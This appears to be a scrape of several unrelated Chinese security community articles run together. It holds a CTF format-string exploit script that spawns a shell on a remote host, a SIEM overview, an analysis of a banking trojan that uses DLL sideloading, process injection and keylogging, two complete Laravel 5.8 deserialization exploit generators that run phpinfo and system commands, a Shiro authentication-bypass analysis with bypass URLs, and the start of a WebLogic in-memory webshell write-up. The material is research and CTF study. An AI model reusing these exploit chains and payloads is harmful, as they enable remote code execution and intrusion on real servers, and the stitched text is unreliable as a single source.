def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
sh = process('./pwn')
proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
gdb.attach(sh, '''break *0x80487B3
break *0x80487cd''')
else: #remtoe
sh = remote('node2.hackingfor.fun', 31049)
def FileName(fn):
sh.recvuntil('please input filename:')
sh.sendline(fn)
def Name(name):
sh.recvuntil('what\'s you name?\n')
sh.send(name)
#leak addr
FileName('/proc/self/maps')
for i in range(5):
sh.recvuntil('\n')
libc.address = int(sh.recv(8), 16)
Log('libc.address')
#fmt str
fp_addr = 0x0804a04c
buf = elf.bss()+0x100
system = libc.symbols['system']
Log('system')
exp = fmtstr_payload(
offset = 27,
writes = {
fp_addr: buf,
#fake FILE struct
buf: u64('/bin/sh\x00')&(0xFFFFFFFF),
buf+4: u64('/bin/sh\x00')>>(32),
buf+0x38: -1, #fd=-1 to pass by _IO_file_close_it
buf+0x48: libc.address+0x1b1870, #pointer to zero
buf+0x58: libc.address+0x1b1870, #pointer to zero
buf+0x94: buf+0xA0, #vtable ptr
#fake vtable ptr
buf+0xA8: system
},
write_size = 'byte'
)
Name(exp)
sh.interactive()
'''
print: break *0x80487B3
fclose() break *0x80487cd
''' | 社区文章 |
# 甲方安全建设：信息安全与事件管理实施（连载1）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 序（上）
信息安全事件管理系统(SIEM)相对于主流IT行业来说是比较新颖的概念。大概在10到20年前，早期的SIEM系统开始以各种形式的产品出现，但近几年才开始被较好的整合起来，在安全架构中找到自己的立足点。SIEM系统是一个复杂的技术集合，它为企业的整个IT系统提供远见和清晰性，使得安全分析人员和IT管理员能够从中受益。正如您将在接下来的章节中看到的，您可以用一个SIME系统来完成所有这一切——甚至更多。几乎每一个小型，中型，或大型企业、部门或政府实体的IT基础设施中都需要配备这么一个强大的系统。
注意：信息安全事件管理系统也称安全信息管理系统，安全事件管理系统，和安全事件与信息管理系统。
安全专家和安全分析师使用SIEM系统来监视、识别、记录攻击，有时还用SIEM系统对安全攻击进行应急处理。其中一些安全事件很容易被识别出来的，比如故意和恶意的拒绝服务（DoS）攻击和病毒爆发。但SIEM系统还可以识别出更难以捉摸的安全事件，它们被每秒数千个安全事件所掩盖，如果没有强大而精细的SIEM系统的帮助，它们将完全不被注意到。这些更难以捉摸的安全事件包括违反安全规定、未经授权的访问尝试，以及发现技术娴熟而又专注的黑客正在有条不紊地潜入公司的IT环境。
安全分析师主要通过对SIEM系统的运营来减少误报告警的数量，但众所周知做这件事的难度不亚于大海捞针。简易的安全系统在许多误报事件上产生告警而闻名（或者更恰当地说，臭名昭著），如入侵检测系统（IDS）。这些误报不仅浪费了安全分析师的时间和精力，还会使他们的注意力变得迟钝，使得真正重要的有效告警更容易被安全分析师们忽略。
许多设备，比如IDSs，通过完全“忽略”某个事件，或者通过将源或流量标记为“安全”来达到减少误报的目的。用这种简单粗暴的方法处理告警量大的问题势必会为攻击者提供一条自由而又不引人注意的通道令他们成功进入您的IT系统。而更为精确的SIEM系统则通过仔细创建过滤和相关事件规则（通常称为SIEM内容）来减少误报告警，只识别以及对那些高质量的安全事件产生告警，同时适当地仔细检查，从而准确地忽略大部分误报。如何过滤告警和编写相关事件规则将是本书的重点。
虽然设计SIEM系统的初衷是考虑到IT系统的安全性能方面，对于网络工程师和IT管理员来说，使用SIEM系统可以是他们常规操作但又不希望它成为太重要的”操作”角色。IT部门可以使用SIEM来识别网络中的各种类型的操作问题，如识别宕机的服务器以及识别故障或配置错误的系统、应用程序和设备。此外，SIEM还可用于确定常规IT系统需求，例如，附加容量需求、用户培训问题以及提示用户可能需要修补、升级或更换的有缺陷的应用程序。
除了刚刚提到的这些好处以外，SIEM系统中的其他方面的强大功能在近年来才开始被探索。除了在IT基础建设这一块以外，我们可以将SIEM实践的视线转向另一个方向，销售部门，企业经营所有者，甚至政府部门都可以准实时地监控和提醒重要的外部活动，这些活动可能表明他们的竞争和市场发生了重大变化。SIEM系统可以从外部关注短讯新闻、搜索引擎和内容库，并对特定市场或特定主题的查询、研究和新闻类型的趋势变化和增长产生告警事件。使用它收集市场、商业或政治情报，你可以识别和量化外部力量，包括对您的市场，外部市场，全球经济，甚至政治力量的微妙和重大的变化。使用SIEM系统，您可以深入了解其他方面竞争或外国政府看不见的活动。啊，但在此处谈及这些讯息还太早。请继续读下去，您会意识到这个工具在IT安全工程师、IT管理人员甚至是创造性和外向思维的营销专业人员、企业主、政府实体手中是多么强大。
## 什么是SIEM工具？
### 安全信息和事件管理（SIEM）系统通常被认为提供以下服务集合：
日志管理
IT常规检查/安全合规检查
事件关联
活动事件反馈
终端安全
本书将介绍一些互不关联的软件工具或装置，它们可以为需要这些服务的中小型企业和部门执行这些功能中的一个或多个服务，也可以为看起来可能不需要这些服务或预算有限的的企业或部门提供完全成熟、全面集成的SIEM系统。这本书还将展示全功能的SIEM系统如何执行这些独立的功能，并将它们集成起来，以产生功能强大、更完整的安全和安全合规服务集合，并且证明企业需要和完全负担得起SIEM系统的开销。
## 日志管理
在SIEM系统中，日志管理首先配置IT系统中的节点，尤其是重要或关键的节点，以便将相关的系统和应用程序事件（日志）发送到由SIEM应用程序管理的中心数据库。这个SIEM数据库首先会解析和规范化
(译者注：规范化是数据库中组织数据的过程)
IT系统上众多不同类型节点发送的数据，接着SIEM通常还会提供日志存储、结构化数据、检索和存档服务，以满足企业可能需要的日志管理需求。这些企业出于合规目的经常需要这些服务。这些数据输入到SIEM系统的日志管理组件中有助于进一步使用准实时分析，以及对所有将输入SIEM系统的IT系统数据在健康和安全状态进行数据挖掘。输入SIEM系统的节点越多，您对整个IT系统的看法就越精确。
被输入到SIEM系统节点中的日志在本质上有很大区别。这些节点包括运行各种操作系统的计算机系统，主流操作系统有Linux、UNIX和Windows。其他输入到SIEM中的节点还包括网络基础设施系统设备，如路由器、托管交换机、防火墙、代理服务器、入侵检测系统（IDS）、远程访问系统和各种其他网络设备。这些不同的系统来自于多个供应商，不同的供应商在其产品的日志结构以及上游日志服务器的系统功能上体现出各自不同而又独有的特性。
系统可能安装了内置syslog类型的客户端服务可以满足这种分层日志记录的目的，例如路由器和其他网络设备上的服务，或者您可能需要在网络节点上安装第三方syslog客户端软件来导出日志，如Winlogd或Snare。SIEM供应商还可以提供一组自定义代理，只要把这些代理安装在特定类型的节点上就能执行导出功能。
## IT常规检查/安全合规检查
现在，所有来自重要和关键系统的事件都被记录下来了，您可以构建过滤器、规则和计时器来审核（根据标准进行监视）和验证安全等级保护是否到位，或者识别公司在安全等级保护要求下是否出现违规情况。根据输入到系统中的日志进行检查的规则内容可能包括：监视密码更改的频率、识别无法安装的操作系统（OS）或应用程序修补程序，以及出于安全等级保护要求下的审核防病毒软件、反间谍软件和IDS更新的频率。虽然您可能会构建自己的过滤器或规则集合来帮助满足等保要求，但许多SIEM供应商都包含预先打包的规则集合，这些规则集合是专门为满足企业需要遵守的不同法律法规的要求而设计的。这些功能通常是由供应商提供的打包的附加组件，甚至是在上市后增值向SIEM客户收取费用的经销商。
几乎所有的SIEM系统都包括功能齐全的报告系统，许多系统都有预先设计和可定制的报告。企业通常需要这些报告来提供自我审计的证据并验证其合规性水平。
## 事件关联
事件关联使方程式具有更高的智能水平。你不会在只看到一个事件的情况下，选择处置或不处置。通过事件关联，可以教会系统在触发警报之前考虑各种情况。例如，一个服务器以100%的CPU利用率运行可能是由许多不同的因素造成的。它可能表示正在发生需要纠正的问题，也可能不是。也可能是一个失败的应用程序锁定了服务器。它还可能表示系统的合法活动过载，并指示一个或多个服务或应用程序应分布在其他服务器上，例如在集群中。由于蠕虫病毒对系统执行拒绝服务（DoS）攻击，服务器可能已达到最大性能。或者它可能只是暂时的自然的服务器活动。SIEM上的关联引擎可以调查和考虑（关联）与CPU利用率不一定相关的其他事件，还可以提供服务器运行状况的更完整的图像，以排除有关问题原因的特定理论。例如，在CPU利用率为100%的情况下，可以将SIEM配置为考虑以下因素：
防病毒（AV）应用程序是否已识别此服务器上的恶意软件
其他系统上的AV应用程序最近是否报告了恶意软件？
是否有其他服务器以100%的CPU利用率运行？他们报告过病毒活动吗？
是否有一个应用程序或多个应用程序或服务停止响应？
是否存在与此服务器相似的正常网络流量峰值，这个峰值对于应用程序来说是合理的但偏高？
是否存在与此服务器类似的非典型网络流量峰值，但它可能意味着DoS攻击？它的流量是否来自不同的来源？可能确定为分布式拒绝服务（DDoS）攻击？
这些问题体现了事件之间的相关性。SIEM的警报和你的反应之所以会有所不同，很大程度上取决于这些条件中的真正有效的事件告警。
## 活动事件处置
现在您已经拥有了向SIEM提供事件的所有系统，定义了您的规则和筛选器，并且您的关联规则已经就位；您是要对所有已验证的安全事件采取操作并执行事件处置，还是应该将SIEM配置为自动和主动地处置特定类型的关联事件？当然，让SIEM自动地对感知到的威胁或错误配置采取纠正措施，会让安全分析员，甚至可能是IT部门的工作人员从他们的工作中解脱出来。许多SIEM系统可以执行主动处置，例如，在路由器的访问控制列表（ACL）上添加IP和端口筛选器，或者防火墙SIEM对感知到的威胁的触发、自动和主动处置可能比简单地向人类发出警报然后要求执行这些任务反馈的速度要快得多。这将会是一件很好的事情，难道不是吗？尽管提供自动处置的SIEM有一些明显的好处，但是只有在成熟的安装和经过微调的SIEM上才能实现自动化的主动处置。如果这个过程没有经过仔细考虑和精确实现，那么您的SIEM系统可能会对一系列误报事件做出响应，并且您可能正在自己的网络上执行DoS攻击。活动事件自动化处置对很容易成为一把双刃剑。
## 终端安全
大多数SIEM系统可以监视终端是否安全，以集中验证系统“健康”的安全性。许多SIEM系统可以监视PC或服务器上的防火墙是否正在运行，并且可以识别防病毒软件定义的最后更新时间以及确认当其节点受到间谍软件感染的时间。一些SIEM系统甚至可以管理终端安全，实际上对远程系统上节点的安全性进行调整和改进，例如配置防火墙以及更新和监视系统内节点上的防病毒软件、反间谍软件和反垃圾邮件产品。此外，一些SIEM系统可以下载并安装更新，或者在主动处置模式下在配置错误的个人防火墙上调整ACL。 | 社区文章 |
# 网银盗号木马分析：警惕暗藏在金融软件中的魔鬼
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
****
**一、** **背景介绍**
近期,360成都反病毒中心拦截到一类隐蔽在话费充值软件包中的病毒,用户感染该病毒后,会出现资金被盗的情况。
该病毒内含一系列技术手段躲避和干扰安全厂商,目前国内的多款杀毒软件尚不能查杀该病毒。因此,我们对该病毒窃取财物的过程进行了详细的分析,并提醒各安全厂商注意加强检测。
经分析,该病毒的隐蔽性极强,且具备一定的自毁能力,在有效的生命周期内,能够调用其释放的远控程序和按键记录程序,进而获取用户输入的支付账户及密码等信息,盗取账户资金。
**二、** **病毒介绍**
病毒类型:盗号木马
文件名:话费充值系统全国供应.rar
MD5: 74952cea61115da12c00646d1df8b6c0
文件大小:3,515,077Bytes
这个软件包原本是一个话费充值软件,分析后发现,病毒作者替换了软件包中原有的软件更新程序,把自身的更新程序update.exe替换成了另外一个合法程序——实况足球8中的更新程序update.exe。并通过该更新程序为桥梁,白利用的方式来执行其它恶意组件。
第一次运行该软件的时候病毒就会被执行且原程序也正常执行,一般用户很难发现异常。软件包中与盗号木马相关的样本信息如下:
图1 360检出病毒样本
在用户运行该软件时,主程序执行update.exe用于检测更新,而替换后的update.exe会根据配置文件update.ini中的配置项,启动恶意的批处理文件qiaoi.bat。
qiaoi.bat首先会调用系统命令断开网络连接,以此干扰杀软云查功能,然后解密释放一个新的同名批处理文件qiaoi.bat并运行,新生成的qiaoi.bat会进一步释放出一个数字签名正常的播放器程序qiaole.exe和恶意组件PotPlayer.dll,接着qiaoi.bat也是通过白利用的方式启动qiaole.exe进而加载PotPlayer.dll执行。
PotPlayer.dll会在内存中解密出两个可执行程序并分别注入系统进程svchost.exe及napstat.exe运行,运行在svchost.exe进程中的便是大名鼎鼎的灰鸽子木马,而运行在napstat.exe进程中的则是个按键记录程序,攻击者通过这两种手段结合,达到盗取用户账户资金的目的,整个病毒的执行流程如下:
图2 病毒的运行流程图
另外,病毒释放出来的所有可执行文件中,均写入了部分随机数据对抗杀软查杀,同时病毒的主要模块均由白签名文件通过白加黑的方式加载运行,这些都能干扰杀软对该病毒的检测与查杀。病毒首次执行后,在用户硬盘中常驻的文件如下:
图3 病毒常驻模块
三、详细分析
1、病毒软件包
病毒软件包原本是一个正常的话费充值软件,被病毒作者植入了木马。病毒作者将该软件包的更新组件替换为一个白签名程序并修改了该白签名文件的配置文件,使得更新组件被运行的时候就会运行病毒作者植入的恶意批处理文件qiaoi.bat(66da57c115b078e397b4394a06ac2aea)。
图4 被篡改的配置文件
qiaoi.bat运行后首先生成一个qiao.bat的批处理执行,该批处理执行“ipconfig
/release”命令,将系统断网,干扰杀软的云查功能,接着释放出一个新的恶意脚本qiaoi.bat(d8283cba7f5d4187c9537ff7d7adc332)执行。恶意脚本中包含大量干扰分析的垃圾指令,同时也能对抗杀毒软件的查杀。
图5 病毒脚本
2、释放的qiaoi.bat(d8283cba7f5d4187c9537ff7d7adc332)
如果系统没有安装杀毒软件,病毒的批处理脚本会释放出一个随机文件名的恶意程序并运行,在释放随机文件名恶意程序的时候,会在PE头部前面的几个字节中写入随机数据,这样使得每次释放的文件MD5不同。
图6 写入随机字节
如果被感染的系统安装了杀毒软件,病毒则再进行一次白利用,调用病毒其他模块,此时,病毒会释放出白签名播放器程序qiaole.exe和一个恶意模块PotPlayer.dll。
图7 白签名文件qiaole.exe
病毒通过qiaole.exe加载PotPlayer.dll,PotPlayer.dll会读取病毒文件c:winstqq.tmp解密出一个可执行程序(就是前面提到的随机文件名的恶意程序)并创建一个svchost.exe的傀儡进程将解密出的可执行文件注入运行。
恶意脚本运行的同时,该软件包的原始程序正常运行,用户完全不知道已经有一个“恶魔”潜伏到电脑中。
3、被注入的第一个svchost.exe
读取病毒文件C:winstbhdll.tmp解密出另外一个可执行程序,创建第二个svchost.exe傀儡进程并将解密出的可执行程序注入运行。
4、被注入的第二个svchost.exe
该进程包含病毒主要功能,行为有:
1)、访问http://blog.sina.com.cn/s/blog_14a8f4af60102vrbo.html得到一段十六进制的文本数据并解密得到一个日期,当前分析得到的日期是“20160201”;访问http://open.baidu.com/special/time/得到当前的互联网日期,如果互联网日期大于解密出来的日期则病毒进行自毁操作,否则继续执行后面的操作。通过这种方式,攻击者可以利用网络云控病毒的存活时间,方便清理所有感染的计算机,在2016年2月1日后该病毒将从所有计算机上清除,间接保证了该病毒生命周期结束后不被发现。
图8 获取网络日期
2)、创建第三个svchost.exe傀儡进程并在内存中解密出一个可执行程序注入运行。
3)、创建system32系统目录下的napstat.exe傀儡进程并在内存中解密出一个可执行程序注入运行。
4)、清理病毒软件包中植入的恶意文件。
图9 清理植入的病毒文件
5)、枚举进程,如果有名为"aliimsafe.exe"的进程正在运行则结束该进程,删除进程文件并在该进程的目录下创建一个同名的文件夹阻止该文件被还原。以此干扰系统的安全保护功能,保证后面的键盘记录程序能正确的记录用户输入的阿里旺旺账户密码。
图10 查找特定进程并进行破坏
5、被注入的第三个svchost.exe
经过分析确认运行在该进程中的是远程控制木马灰鸽子,这里不进行详细分析,以下是该木马的一些参数信息。
图11 木马的上线地址及版本信息
6、被注入的napstat.exe
运行在该进程中的是一个按键记录木马。通过设置一个全局的键盘钩子对用户的按键信息进行记录。
图12 安装键盘钩子
在钩子过程中木马将记录到的按键信息写到文件C:ProgramDataMicrosoftWindowsDRMwebjilu.tmp。
图13 记录到的按键信息
木马还有一个触发时间为1小时的定时器,用于每隔一个小时发送按键记录到指定的电子邮箱,分析发现作者没有配置相关的参数,因此该定时器没有实际作用,但作者可以通过远程控制后门获取到按键记录。
四、防范建议
1、尽量通过官方网站或其他安全可靠的渠道下载软件;
2、如果运行某软件时发现系统出现异常情况(如系统提示网络连接已断开等),应及时查杀木马;
3、开启专业安全软件防护,如无必要尽量不关闭安全软件。 | 社区文章 |
本篇文章将记录 **laravel5.8** 框架中的两条反序列化 **POP链** 。
## 漏洞环境
直接使用 **composer** 安装 **laravel5.8** 框架，并通过 `php artisan serve` 命令启动 **Web**
服务。
➜ composer create-project --prefer-dist laravel/laravel laravel58
➜ cd laravel58
➜ php artisan serve --host=0.0.0.0
在 **laravel57/routes/web.php** 文件中添加一条路由，便于我们后续访问。
// /var/www/html/laravel58/routes/web.php
<?php
Route::get("/","\App\Http\Controllers\DemoController@demo");
?>
在 **laravel58/app/Http/Controllers/** 下添加 **DemoController** 控制器，代码如下：
<?php
namespace App\Http\Controllers;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}
## POP链1
这条链来自 **pithon** 的代码审计小密圈，按照如上方法安装将默认存在该链。先从 **PendingBroadcast** 类的
**__destruct** 方法开始 **POP链** ，将 **$this- >events** 设置成 **Dispatcher** 类。进入
**dispatch** 方法后，我们要想办法执行到 **第73行** 的 **dispatchToQueue** 方法，因为在
**dispatchToQueue** 方法中存在 **call_user_func** 函数，且可以完成任意类方法调用，所以我们要使得 **第72行**
的 **if** 语句条件为真。 **ShouldQueue** 是个接口，我们只要让 **$command** 为实现该接口的类即可，
**$command** 即 **第57行** 传入的 **$this- >event** 。
现在我们已经可以调用任意类的任意方法了，下面就寻找可利用的类方法，这里我们使用的是 **EvalLoader** 类的 **load**
方法，因为里面有调用 **eval** 函数，且参数可控。接下来我们只要构造条件，使得 **eval** 函数前面的 **if** 语句块不执行
**return** 即可。如下图 **第44行** ，我们只要找一个有 **getName** 方法的类，且返回结果可控即可。
整个链的构造相对容易，最终 **EXP** 如下：
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>');
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
?>
## POP链2
这条链来自前一阵CTF国赛某道题目。漏洞存在 **symfony** 组件中（影响至罪行 **4.4.x-dev** 版本），而默认安装的
**laravel5.8** 框架没有包含该组件。为了复现该漏洞，我们需要将 **composer.json** 文件中的 **require** 添加
**"symfony/symfony": "4.*"** 并执行 **composer update** 命令即可。
**POP链** 的入口为 **TagAwareAdapter** 类的 **__destruct** 方法，经过一些列调用，其会调用 **$this->pool** 的 **saveDeferred** 方法。
这里，我们将 **$this- >pool** 设置为 **ProxyAdapter** 类。在 **ProxyAdapter** 类的
**saveDeferred** 方法中，会调用本类的 **doSave** 方法。而在 **doSave** 方法中，我们发现了可控的动态调用，如下图
**第223行** 所示。
首先，程序将 **$item** 类强转成数组（上图 **第207行** ），然后再从数组中取值作为下面动态调用函数的参数（上图 **第213行**
）。这里可以看到有 **$item["\0*\0expiry"]** 、 **$item["\0*\0poolHash"]** 这种写法，数组键名带有
**\0*\0** 。这实际上是类中，修饰符为 **protected** 的属性，在类强转成数组之后的结果。具体可以参考如下Demo：
这里动态调用 **($this- >setInnerItem)($innerItem, $item)** 中有两个参数，其中第一个参数可控，刚好
**system** 函数最多支持两个参数，所以我们这里可以利用 **system** 函数来执行命令。
整个链的构造相对容易，最终 **EXP** 如下：
<?php
namespace Symfony\Component\Cache{
final class CacheItem
{
protected $expiry;
protected $poolHash;
protected $innerItem;
public function __construct($expiry, $poolHash, $command)
{
$this->expiry = $expiry;
$this->poolHash = $poolHash;
$this->innerItem = $command;
}
}
}
namespace Symfony\Component\Cache\Adapter{
class ProxyAdapter
{
private $poolHash;
private $setInnerItem;
public function __construct($poolHash, $func)
{
$this->poolHash = $poolHash;
$this->setInnerItem = $func;
}
}
class TagAwareAdapter
{
private $deferred = [];
private $pool;
public function __construct($deferred, $pool)
{
$this->deferred = $deferred;
$this->pool = $pool;
}
}
}
namespace {
$cacheitem = new Symfony\Component\Cache\CacheItem(1,1,"whoami");
$proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system');
$tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter);
echo urlencode(serialize($tagawareadapter));
}
有的 **symfony** 组件版本执行命令后有回显，有的没有，具体大家自己测试。 | 社区文章 |
# Shiro 权限绕过 CVE-2020-13933分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2020-08-19， `Apache Shrio`发布了`CVE-2020-13933`的漏洞, 其等级为高，影响范围为`<=1.5.3`。
在处理身份验证请求时存在`权限绕过`, 可发送特制的`HTTP`请求, 绕过身份验证过程并获得对应用的访问. 现对该漏洞进行分析。
## Diff
可以看一下`1.5.3`和`1.5.4`版本的diff，看变动哪些文件
[DIFF链接](https://github.com/apache/shiro/compare/shiro-root-1.5.3...shiro-root-1.6.0)
在`web/src/main/java/org/apache/shiro/web/filter/mgt/DefaultFilter.java`中，看到diff内容为
package org.apache.shiro.web.filter.mgt;
import org.apache.shiro.util.ClassUtils;
+ import org.apache.shiro.web.filter.InvalidRequestFilter;
import org.apache.shiro.web.filter.authc.*;
import org.apache.shiro.web.filter.authz.*;
import org.apache.shiro.web.filter.session.NoSessionCreationFilter;
@@ -48,7 +49,8 @@
rest(HttpMethodPermissionFilter.class),
roles(RolesAuthorizationFilter.class),
ssl(SslFilter.class),
- user(UserFilter.class);
+ user(UserFilter.class),
+ invalidRequest(InvalidRequestFilter.class);
private final Class<? extends Filter> filterClass;
可以看到添加了一个`Filter`:`InvalidRequestFilter`
在[InvalidRequestFilter.java](https://github.com/apache/shiro/compare/shiro-root-1.5.3...shiro-root-1.6.0#diff-aaf47dacbed7db2ff19000baf3bdc4af)
public class InvalidRequestFilter extends AccessControlFilter {
private static final List<String> SEMICOLON = Collections.unmodifiableList(Arrays.asList(";", "%3b", "%3B"));
private static final List<String> BACKSLASH = Collections.unmodifiableList(Arrays.asList("\\", "%5c", "%5C"));
对`\\`和`;`符号做了标记,
在[testFilterBlocks](https://github.com/apache/shiro/compare/shiro-root-1.5.3...shiro-root-1.6.0#diff-1ee3bc21740941899519a4a2280a78f8)函数中:
@Test
void testFilterBlocks() {
InvalidRequestFilter filter = new InvalidRequestFilter()
assertPathBlocked(filter, "/\\something")
assertPathBlocked(filter, "/%5csomething")
assertPathBlocked(filter, "/%5Csomething")
assertPathBlocked(filter, "/;something")
assertPathBlocked(filter, "/%3bsomething")
assertPathBlocked(filter, "/%3Bsomething")
assertPathBlocked(filter, "/\u0019something")
}
其中上可以断定, 是`;`或者`\\`字符出的问题.
## 环境搭建
* `git clone https://github.com/l3yx/springboot-shiro.git`
* 在idea中修改`om.xml`文件，将`shiro`的版本改为`1.5.3`
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.5.3</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.3</version>
</dependency>
* 修改`LoginController.java` 为 因为 在 `CVE-2020-11989`中有两种利用方式， 所以测试了两种， 分别是
@GetMapping("/admin/{name}")
public String admin(@PathVariable String name) {
return "admin page";
}
// @GetMapping("/admin/page")
// public String admin() {
// return "admin page";
// }
如diff中的， 可以分别测试 `localhost:8080/shiro/admin/page` 下的不同路径，
* `localhost:8080/%3bshiro/admin/page`,
* `localhost:8080/shiro/%3badmin/page`,
* `localhost:8080/shiro/admin/%3bpage`
其中第三种， 在如上`controller`中可以成功， 下边详细分析一下。
## Tomcat远程调试
* 在idea中导出war包, 并放在`tomcat`的`webapps`目录下
* 在`tomcat/bin/catalina.sh`下添加一行`debug`命令: `export JAVA_OPTS='-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005'`
* 在idea中配置远程 调试IP
* 配置断点即可
## 详细分析
* 先看调用链
* 调用链前半部分为 `tomcat`请求，然后调用 了`spring`的`filter`, 接着又调用了`shiro`的`filter`最后调用了`spring`的`dispacher`， 在 `org.apache.shiro.web.util.WebUtils#getPathWithinApplication` 函数中， 调用了
public static String getPathWithinApplication(HttpServletRequest request) {
return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}
* 由上可知， `uri` = `"/admin/;aa"` 而 `org.apache.shiro.web.util.WebUtils#removeSemicolon` 为
private static String removeSemicolon(String uri) {
int semicolonIndex = uri.indexOf(59);
return semicolonIndex != -1 ? uri.substring(0, semicolonIndex) : uri;
}
即只获取 分号`（; )`前作为返回值 此时返回 `"/admin/"`
* 而`org.apache.shiro.web.util.WebUtils#normalize(java.lang.String, boolean)` 如下，可以看到仅过滤 不同类型的\ /， 所以这里返回 的仍然是 `"/admin/"`
private static String normalize(String path, boolean replaceBackSlash) {
if (path == null) {
return null;
} else {
String normalized = path;
if (replaceBackSlash && path.indexOf(92) >= 0) {
normalized = path.replace('\\', '/');
}
if (normalized.equals("/.")) {
return "/";
} else {
if (!normalized.startsWith("/")) {
normalized = "/" + normalized;
}
while(true) {
int index = normalized.indexOf("//");
if (index < 0) {
while(true) {
index = normalized.indexOf("/./");
if (index < 0) {
while(true) {
index = normalized.indexOf("/../");
if (index < 0) {
return normalized;
}
if (index == 0) {
return null;
}
int index2 = normalized.lastIndexOf(47, index - 1);
normalized = normalized.substring(0, index2) + normalized.substring(index + 3);
}
}
normalized = normalized.substring(0, index) + normalized.substring(index + 2);
}
}
normalized = normalized.substring(0, index) + normalized.substring(index + 1);
}
}
}
* 在 `org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain`中，代码片段为， 即将 `”/admin/"` 处理为 `"/admin"`
String requestURI = this.getPathWithinApplication(request);
if (requestURI != null && !"/".equals(requestURI) && requestURI.endsWith("/")) {
requestURI = requestURI.substring(0, requestURI.length() - 1);
}
* 同样是这个函数， 继续对比 `pathPattern` 和`requestURI`, 而`/admin/*` 和 `/admin` 导致的不匹配，所以绕过了认证
pathPattern = (String)var6.next();
if (pathPattern != null && !"/".equals(pathPattern) && pathPattern.endsWith("/")) {
pathPattern = pathPattern.substring(0, pathPattern.length() - 1);
}
} while(!this.pathMatches(pathPattern, requestURI));
* 继续跟踪在 `org.springframework.web.util.UrlPathHelper#decodeAndCleanUriString` 函数中
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = this.removeSemicolonContent(uri);
uri = this.decodeRequestString(request, uri);
uri = this.getSanitizedPath(uri);
return uri;
}
分别去除了分号， URL解码，去除 `//` , 最后获取到了 `admin/;aa ` 绕过了认证
以上原因即为不同的中间件对于路径去过滤不同， 对于URL编码的解码时间不同，导致了这个漏洞
类似这个 ： [how-i-chained-4-bugs-features-into-rce-on-amazon](http://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html)
## 参考:
* [Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)](https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/)
* [Apache Shiro权限绕过漏洞分析(CVE-2020-11989)](https://xz.aliyun.com/t/7964) | 社区文章 |
**作者：宽字节安全**
**原文链接：<https://mp.weixin.qq.com/s/euYuuI78oJhUHt9dVkomKA>**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
**投稿邮箱：[email protected]**
上篇文章中着重研究了tomcat的内存马以及实现方法。这篇文章主要研究了weblogic的内存马实现原理。在这里实现的原理与tomcat基本相同，同样使用动态注册Filter
的方式。下面分析一下weblogic在请求中是如何获取FilterChain。
**以下分析基于 weblogic 12.2.1.4**
## 0x01 weblogic FilterChain实现
创建一个Filter，随便打一个断点，观察此时的堆栈信息，如图
通过跟踪堆栈信息，我们可以找到，在wrapRun函数中，会判断系统中是否存在filter以及listener。如果存在，则获取FilterChain，然后依次调用Filter。原理与tomcat类似。相关代码如下
weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#wrapRun 函数
if (!invocationContext.hasFilters() && !invocationContext.hasRequestListeners()) {
this.stub.execute(this.req, this.rsp);
} else {
FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
if (fc == null) {
this.stub.execute(this.req, this.rsp);
} else {
fc.doFilter(this.req, this.rsp);
}
}
而getFilterChain的代码在
weblogic.servlet.internal.FilterManager中。weblogic中主要使用FilterManager去管理系统中的Filter，包括动态注册一个Filter，获取FilterChain等。动态注册一个Filter的代码如下
void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws DeploymentException {
FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context);
if (this.loadFilter(fw)) {
EnumSet<DispatcherType> types = FilterManager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName);
if (urlPatterns != null) {
this.addMappingForUrlPatterns(filterName, types, true, urlPatterns);
}
if (servletNames != null) {
this.addMappingForServletNames(filterName, types, true, servletNames);
}
this.filters.put(filterName, fw);
}
}
